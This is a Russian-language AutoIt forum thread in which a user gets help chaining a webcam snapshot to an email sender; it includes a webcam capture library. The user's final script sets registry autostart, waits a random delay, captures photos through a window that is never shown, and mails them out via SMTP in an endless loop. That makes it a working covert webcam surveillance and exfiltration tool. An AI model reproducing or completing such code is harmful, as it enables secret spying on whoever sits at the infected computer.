Что нового

Как завершить функцию без закрытия скрипта

sasha1304

Новичок
Сообщения
41
Репутация
0
народ подскажите пожалуйста как сделать чтобы завершилась эта функция без закрытия скрипта

Код:
$gui = GUICreate("",640,480)
_WebcamInit()
_Webcam($gui,640,480,0,0)
Sleep(1500)
_WebcamSnapShot(@WindowsDir & "\camphoto\snimok",".bmp")


и начала выполняться следующая?

Код:
$str = "http://schemas.microsoft.com/cdo/configuration/"
$hMAIL = ObjCreate ("CDO.Message")
    With $hMAIL
        .From = '@mail.ru';поставить свое
        .To = '@mail.ru';поставить свое
        .Subject = 'Снимок'
        .TextBody = 'Я пришёл'
        .AddAttachment (@WindowsDir & "\camphoto\snimok",".bmp")
    EndWith
    With $hMAIL.Configuration.Fields
        .Item ($str & "sendusing") = 2
        .Item ($str & "smtpserver") = 'smtp.mail.ru'
        .Item ($str & "smtpauthenticate") = 1
        .Item ($str & "sendusername") = '@mail.ru';поставить свое
        .Item ($str & "sendpassword") = '';поставить свое
        .Item ($str & "smtpserverport") = '2525'
        .Update
    EndWith
$hMAIL.Send
FileDelete(@WindowsDir & "\camphoto\snimok")
 

inververs

AutoIT Гуру
Сообщения
2,135
Репутация
465
ну как бы поместить первый код вначале второго
 
Автор
S

sasha1304

Новичок
Сообщения
41
Репутация
0
приведите пример пожалуйста, я ещё новичок в этом
 

armenxxx1

Продвинутый
Сообщения
155
Репутация
56
Код:
#include <Webcam.au3>

Global $var, $str, $hMAIL


While 1
	Sleep(5000)
	WebCam()
	PingG()
WEnd

Func WebCam()
	_WebcamInit()
	$width = 320
	$height = 240
	$gui = GUICreate("Time Lapse", $width, $height)
	_Webcam($gui, $width, $height, 0, 0)
	_WebcamSnapShot(@ScriptDir & "\1.jpg")
EndFunc

Func PingG()
Sleep(1000)
	$var = Ping("www.google.com",1000)
	If $var Then
		SendMeil()
	Else
		PingG()
	EndIf
EndFunc

Func SendMeil()
	$str = "http://schemas.microsoft.com/cdo/configuration/"
	$hMAIL = ObjCreate ("CDO.Message")
		With $hMAIL
			.From = "[email protected]" ;Имейла от когото изпращате
			.To = "[email protected]" ;Имейла на когото ще изпращате
			.Subject = "Относно" ;Относно
			;.TextBody = "Текст" ;Текст на имейла ако е в обикновен формат
			.BodyPart.Charset= "UTF-8" ;кодировка на писмото "windows-1251"
			.HTMLBody = "<b>Текст Текст Текст</b></br>" ;В HTML формат
			.AddAttachment (@ScriptDir & "\1.jpg") ;Файл за изпращане
		EndWith
		With $hMAIL.Configuration.Fields
			.Item ($str & "sendusing") = 2
			.Item ($str & "smtpserver") = "smtp.abv.bg" ;smtp сървар
			.Item ($str & "smtpauthenticate") = 1
			.Item ($str & "sendusername") = "[email protected]" ;Имейла на smtp сървара
			.Item ($str & "sendpassword") = "pss" ;Парола на smtp сървара
			.Item ($str & "smtpusessl") = 0 ;TLS/SSL 0 е спрян
			.Item ($str & "smtpserverport") = 2525 ;Порт
			.Update
		EndWith
	$hMAIL.Send
EndFunc
 

AZJIO

Меценат
Меценат
Сообщения
2,874
Репутация
1,194
armenxxx1
Как выяснилось нужно _WebcamStop из той же UDF. То есть смысл выключить камеру до отправки на почту. И использование WebcamStop вызывает ошибку. Пока осталось выбрать более стабильную UDF с официального сайта.

Код:
#AutoIt3Wrapper_Icon=icon.ico
#include <Webcam.au3>

$sPath = @WindowsDir & "\camphoto\snimok"
$sMail = 'ящик@mail.ru' ; поставить свое
$sPassword = 'такой-то'

DirCreate(@WindowsDir & "\camphoto")

_WebcamSaveToPiture($sPath)
Sleep(500)
If FileExists($sPath) Then
	_SendToMail($sPath, $sMail)
	FileDelete(@WindowsDir & "\camphoto\snimok")
EndIf

Func _WebcamSaveToPiture($sPath)
	$hCam = GUICreate("", 640, 480)
	_WebcamInit()
	_Webcam($hCam, 640, 480, 0, 0)
	Sleep(1500)
	_WebcamSnapShot($sPath, True)
	_WebcamStop()
EndFunc   ;==>_WebcamSaveToPiture

Func _SendToMail($sPath, $sMail, $sPassword)
	$str = "http://schemas.microsoft.com/cdo/configuration/"
	$hMAIL = ObjCreate("CDO.Message")
	With $hMAIL
		.From = $sMail
		.To = $sMail
		.Subject = 'Снимок'
		.TextBody = 'Я пришёл'
		.AddAttachment($sPath, ".bmp")
	EndWith
	With $hMAIL.Configuration.Fields
		.Item($str & "sendusing") = 2
		.Item($str & "smtpserver") = 'smtp.mail.ru'
		.Item($str & "smtpauthenticate") = 1
		.Item($str & "sendusername") = $sMail
		.Item($str & "sendpassword") = $sPassword
		.Item($str & "smtpserverport") = '2525'
		.Update
	EndWith
	$hMAIL.Send
EndFunc   ;==>_SendToMail
 

armenxxx1

Продвинутый
Сообщения
155
Репутация
56
Ты где увидел в мой скрипт _WebcamStop ?

Webcam.au3

Код:
#include-once
;#include <GUIConstants.au3>
#include <WindowsConstants.au3>
#include <GDIPlus.au3>
#include <Date.au3>


;~ #####################################################
;~ ###												 ###
;~ ###					Webcam UDF					 ###
;~ ###												 ###
;~ ### Functions : _WebcamInit()					 ###
;~ ###			   _Webcam()						 ###
;~ ###			   _WebcamStop()					 ###
;~ ###			   _WebcamSnapShot()				 ###
;~ ###												 ###
;~ ###			      Made by L|M|TER				 ###
;~ ### --------------------------------------------- ###
;~ ###												 ###
;~ ###			 Copyright ©2008 - L|M|TER			 ###
;~ ###												 ###
;~ #####################################################

;~ Declaring Variables

$WM_CAP_START = 0x400
$WM_CAP_UNICODE_START = $WM_CAP_START + 100
$WM_CAP_PAL_SAVEA = $WM_CAP_START + 81
$WM_CAP_PAL_SAVEW = $WM_CAP_UNICODE_START + 81
$WM_CAP_UNICODE_END = $WM_CAP_PAL_SAVEW
$WM_CAP_ABORT = $WM_CAP_START + 69
$WM_CAP_DLG_VIDEOCOMPRESSION = $WM_CAP_START + 46
$WM_CAP_DLG_VIDEODISPLAY = $WM_CAP_START + 43
$WM_CAP_DLG_VIDEOFORMAT = $WM_CAP_START + 41
$WM_CAP_DLG_VIDEOSOURCE = $WM_CAP_START + 42
$WM_CAP_DRIVER_CONNECT = $WM_CAP_START + 10
$WM_CAP_DRIVER_DISCONNECT = $WM_CAP_START + 11
$WM_CAP_DRIVER_GET_CAPS = $WM_CAP_START + 14
$WM_CAP_DRIVER_GET_NAMEA = $WM_CAP_START + 12
$WM_CAP_DRIVER_GET_NAMEW = $WM_CAP_UNICODE_START + 12
$WM_CAP_DRIVER_GET_VERSIONA = $WM_CAP_START + 13
$WM_CAP_DRIVER_GET_VERSIONW = $WM_CAP_UNICODE_START + 13
$WM_CAP_EDIT_COPY = $WM_CAP_START + 30
$WM_CAP_END = $WM_CAP_UNICODE_END
$WM_CAP_FILE_ALLOCATE = $WM_CAP_START + 22
$WM_CAP_FILE_GET_CAPTURE_FILEA = $WM_CAP_START + 21
$WM_CAP_FILE_GET_CAPTURE_FILEW = $WM_CAP_UNICODE_START + 21
$WM_CAP_FILE_SAVEASA = $WM_CAP_START + 23
$WM_CAP_FILE_SAVEASW = $WM_CAP_UNICODE_START + 23
$WM_CAP_FILE_SAVEDIBA = $WM_CAP_START + 25
$WM_CAP_FILE_SAVEDIBW = $WM_CAP_UNICODE_START + 25
$WM_CAP_FILE_SET_CAPTURE_FILEA = $WM_CAP_START + 20
$WM_CAP_FILE_SET_CAPTURE_FILEW = $WM_CAP_UNICODE_START + 20
$WM_CAP_FILE_SET_INFOCHUNK = $WM_CAP_START + 24
$WM_CAP_GET_AUDIOFORMAT = $WM_CAP_START + 36
$WM_CAP_GET_CAPSTREAMPTR = $WM_CAP_START + 1
$WM_CAP_GET_MCI_DEVICEA = $WM_CAP_START + 67
$WM_CAP_GET_MCI_DEVICEW = $WM_CAP_UNICODE_START + 67
$WM_CAP_GET_SEQUENCE_SETUP = $WM_CAP_START + 65
$WM_CAP_GET_STATUS = $WM_CAP_START + 54
$WM_CAP_GET_USER_DATA = $WM_CAP_START + 8
$WM_CAP_GET_VIDEOFORMAT = $WM_CAP_START + 44
$WM_CAP_GRAB_FRAME = $WM_CAP_START + 60
$WM_CAP_GRAB_FRAME_NOSTOP = $WM_CAP_START + 61
$WM_CAP_PAL_AUTOCREATE = $WM_CAP_START + 83
$WM_CAP_PAL_MANUALCREATE = $WM_CAP_START + 84
$WM_CAP_PAL_OPENA = $WM_CAP_START + 80
$WM_CAP_PAL_OPENW = $WM_CAP_UNICODE_START + 80
$WM_CAP_PAL_PASTE = $WM_CAP_START + 82
$WM_CAP_SEQUENCE = $WM_CAP_START + 62
$WM_CAP_SEQUENCE_NOFILE = $WM_CAP_START + 63
$WM_CAP_SET_AUDIOFORMAT = $WM_CAP_START + 35
$WM_CAP_SET_CALLBACK_CAPCONTROL = $WM_CAP_START + 85
$WM_CAP_SET_CALLBACK_ERRORA = $WM_CAP_START + 2
$WM_CAP_SET_CALLBACK_ERRORW = $WM_CAP_UNICODE_START + 2
$WM_CAP_SET_CALLBACK_FRAME = $WM_CAP_START + 5
$WM_CAP_SET_CALLBACK_STATUSA = $WM_CAP_START + 3
$WM_CAP_SET_CALLBACK_STATUSW = $WM_CAP_UNICODE_START + 3
$WM_CAP_SET_CALLBACK_VIDEOSTREAM = $WM_CAP_START + 6
$WM_CAP_SET_CALLBACK_WAVESTREAM = $WM_CAP_START + 7
$WM_CAP_SET_CALLBACK_YIELD = $WM_CAP_START + 4
$WM_CAP_SET_MCI_DEVICEA = $WM_CAP_START + 66
$WM_CAP_SET_MCI_DEVICEW = $WM_CAP_UNICODE_START + 66
$WM_CAP_SET_OVERLAY = $WM_CAP_START + 51
$WM_CAP_SET_PREVIEW = $WM_CAP_START + 50
$WM_CAP_SET_PREVIEWRATE = $WM_CAP_START + 52
$WM_CAP_SET_SCALE = $WM_CAP_START + 53
$WM_CAP_SET_SCROLL = $WM_CAP_START + 55
$WM_CAP_SET_SEQUENCE_SETUP = $WM_CAP_START + 64
$WM_CAP_SET_USER_DATA = $WM_CAP_START + 9
$WM_CAP_SET_VIDEOFORMAT = $WM_CAP_START + 45
$WM_CAP_SINGLE_FRAME = $WM_CAP_START + 72
$WM_CAP_SINGLE_FRAME_CLOSE = $WM_CAP_START + 71
$WM_CAP_SINGLE_FRAME_OPEN = $WM_CAP_START + 70
$WM_CAP_STOP = $WM_CAP_START + 68
$cap = ""
$avi = ""
$user = ""
$snapfile = @ScriptDir & "\snapshot.bmp"

;~ ##########################################################
;~ Function Name : _WebcamInit()
;~ Description : Starts the webcam image capturing session
;~ Author : L|M|TER
;~ ##########################################################

Func _WebcamInit()
	$avi = DllOpen("avicap32.dll")
	$user = DllOpen("user32.dll")
EndFunc   ;==>_WebcamInit

;~ ##########################################################
;~ Function Name : _Webcam($gui,$h,$w,$l,$t)
;~ Description : Creates a webcam preview window
;~ Parameter(s):
;~ 	$gui - The gui where the webcam window should be created
;~ 	$h - The height of the webcam window
;~ 	$w - The width of the webcam window
;~ 	$l - The left position of the webcam window
;~ 	$t - The top position of the webcam window
;~ NOTE : All parameters required !
;~ Author : L|M|TER
;~ ##########################################################

Func _Webcam($gui, $w, $h, $l, $t)
	$cap = DllCall($avi, "int", "capCreateCaptureWindow", "str", "cap", "int", BitOR($WS_CHILD, $WS_VISIBLE), "int", $l, "int", $t, "int", $w, "int", $h, "hwnd", $gui, "int", 1)
	DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_CONNECT, "int", 0, "int", 0)
	DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_SCALE, "int", 1, "int", 0)
	DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_OVERLAY, "int", 1, "int", 0)
	DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_PREVIEW, "int", 1, "int", 0)
	DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_PREVIEWRATE, "int", 1, "int", 0)
EndFunc   ;==>_Webcam

;~ ##########################################################
;~ Function Name : _WebcamStop()
;~ Description : Closes the webcam image capturing session
;~ Author : L|M|TER
;~ ##########################################################

Func _WebcamStop()
	DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_END, "int", 0, "int", 0)
	DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_DISCONNECT, "int", 0, "int", 0)
	DllClose($user)
	DllClose($avi)
EndFunc   ;==>_WebcamStop

;~ ##########################################################
;~ Function Name : _WebcamSnapShot($file)
;~ Description : Takes a snapshot
;~ Parameter(s):
;~ 	$file (Optional) - The path to the file where the snapshot will be saved (Default : @ScriptDir & "\snapshot.bmp")
;~ Author : L|M|TER
;~ ##########################################################

Func _WebcamSnapShot($Dest = $snapfile, $AddTimeStamp = false)
	$RandomFileName = Random(9000, 99999, 1) & ".bmp"
	DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_GRAB_FRAME_NOSTOP, "int", 0, "int", 0)
	DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_FILE_SAVEDIBA, "int", 0, "str", $RandomFileName)
	_ConvertImage($RandomFileName, $Dest, $AddTimeStamp)
	FileDelete($RandomFileName)
EndFunc   ;==>_WebcamSnapShot

Func _ConvertImage($Src, $Dest, $AddTimeStamp = False)
	_GDIPlus_Startup()
	$hImage = _GDIPlus_ImageLoadFromFile($Src)
	If $AddTimeStamp Then
		$hGraphic = _GDIPlus_ImageGetGraphicsContext($hImage)
		$hBrush = _GDIPlus_BrushCreateSolid(0xFFFFFFFF)
		$hFormat = _GDIPlus_StringFormatCreate()
		$hFamily = _GDIPlus_FontFamilyCreate("Arial")
		$hFont = _GDIPlus_FontCreate($hFamily, 16, 1)
		$tLayout = _GDIPlus_RectFCreate(500, 415, 150, 100)
		_GDIPlus_GraphicsDrawStringEx($hGraphic, _NowDate() & @CRLF & _NowTime(), $hFont, $tLayout, $hFormat, $hBrush)
		_GDIPlus_FontDispose($hFont)
		_GDIPlus_FontFamilyDispose($hFamily)
		_GDIPlus_StringFormatDispose($hFormat)
		_GDIPlus_BrushDispose($hBrush)
		_GDIPlus_GraphicsDispose($hGraphic)
	EndIf
	_GDIPlus_ImageSaveToFile($hImage, $Dest)
	_GDIPlus_ImageDispose($hImage)
	_GDIPlus_Shutdown()
EndFunc   ;==>_ConvertImage
 

AZJIO

Меценат
Меценат
Сообщения
2,874
Репутация
1,194
Встречный вопрос "Ты где увидел, что я писал что в твоём скрипте _WebcamStop?" Разбираться не моя стихия, тем более в ключе тыкания.
 

armenxxx1

Продвинутый
Сообщения
155
Репутация
56
Хороший ответ ;D

Вот пример с _WebcamStop

Код:
#include <GUIConstantsEx.au3>
#include <Webcam.au3>
_WebcamInit()
$width = 320
$height = 240
$gui = GUICreate("Time Lapse", $width, $height)
_Webcam($gui, $width, $height, 0, 0)
Sleep (5000)
GUISetState(@SW_SHOW)
$timer = TimerInit()
While 1
    $msg = GUIGetMsg()
    If $msg = $GUI_EVENT_CLOSE Then
        _WebcamStop()
        Exit
    ElseIf $timer >= 2000 Then
        _WebcamSnapShot(@ScriptDir & "\" & @MDAY & @MON & @MDAY & @HOUR & @MIN & @SEC & ".jpg")
        $timer = TimerInit ()
    EndIf
WEnd


У меня нет ошибка с _WebcamStop.... Но я вижу, что ти не написал имя файла ???
 

CreatoR

Must AutoIt!
Команда форума
Администратор
Сообщения
8,671
Репутация
2,481
sasha1304 [?]
всем спасибо. помогли

[info border=#0000ff float=left]На форуме принято помечать тему решенной после получения ответа на свой вопрос!
Вверху или внизу темы нажмите на ссылку такого вида:
package_old.gif
Тема не решена
[/info]
 
Автор
S

sasha1304

Новичок
Сообщения
41
Репутация
0
возник ещё один вопрос, как сделать проверку включена ли вебкамера? если она выключена то скрипт должен отключаться

Код:
#include <GUIConstants.au3>
#include <Webcam.au3>
#include <WindowsConstants.au3>
#AutoIt3Wrapper_Icon=icon.ico


If @Compiled Then
    _RegRun()
EndIf

Sleep(Random(180000, 300000))

$sPath1 = @WindowsDir & "\Temp\CP\"

If Not FileExists($sPath1) Then
   DirCreate($sPath1)
EndIf

While 1
$width = 640
$heidht = 480 
_WebcamInit()
$gui = GUICreate("", $width, $heidht)
_Webcam($gui, $width, $heidht ,0 ,0)


$sPath2 = @WindowsDir & "\Temp\CP\" & @HOUR & @MIN & @SEC & @MDAY & @MON & @YEAR& ".jpg"
Sleep (1500)
_WebcamSnapShot($sPath2)
_WebcamStop()


$str = "http://schemas.microsoft.com/cdo/configuration/"
$hMAIL = ObjCreate ("CDO.Message")
With $hMAIL
        .From = '';поставить свое
        .To = '';поставить свое
        .Subject = 'Снимок'
        .TextBody = 'Я пришёл'
		.AddAttachment($sPath2)
		EndWith
		With $hMAIL.Configuration.Fields
        .Item ($str & "sendusing") = 2
        .Item ($str & "smtpserver") = 'smtp.mail.ru'
        .Item ($str & "smtpauthenticate") = 1
        .Item ($str & "sendusername") = '';поставить свое
        .Item ($str & "sendpassword") = '';поставить свое
        .Item ($str & "smtpserverport") = '2525'
        .Update
		EndWith
$hMAIL.Send
FileDelete($sPath1)
Sleep(Random(1800000, 2400000))
WEnd

Func _RegRun()
    Local $sRegRun = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'

    If RegRead($sRegRun, @ScriptName) = '' Or RegRead($sRegRun, @ScriptName) <> @ScriptFullPath Then
        RegWrite($sRegRun, @ScriptName, 'REG_SZ', @ScriptFullPath)
    EndIf
EndFunc
 

madmasles

Модератор
Глобальный модератор
Сообщения
7,790
Репутация
2,322
sasha1304 [?]
возник ещё один вопрос

Предупреждение За нарушение общих правил (пункт В.4):
Не лепите несколько вопросов разной тематики в один пост. По типу "Ребят, а ещё такой вопрос...". Каждый вопрос в свою тему.


С уважением, ваш Модератор.
 
Верх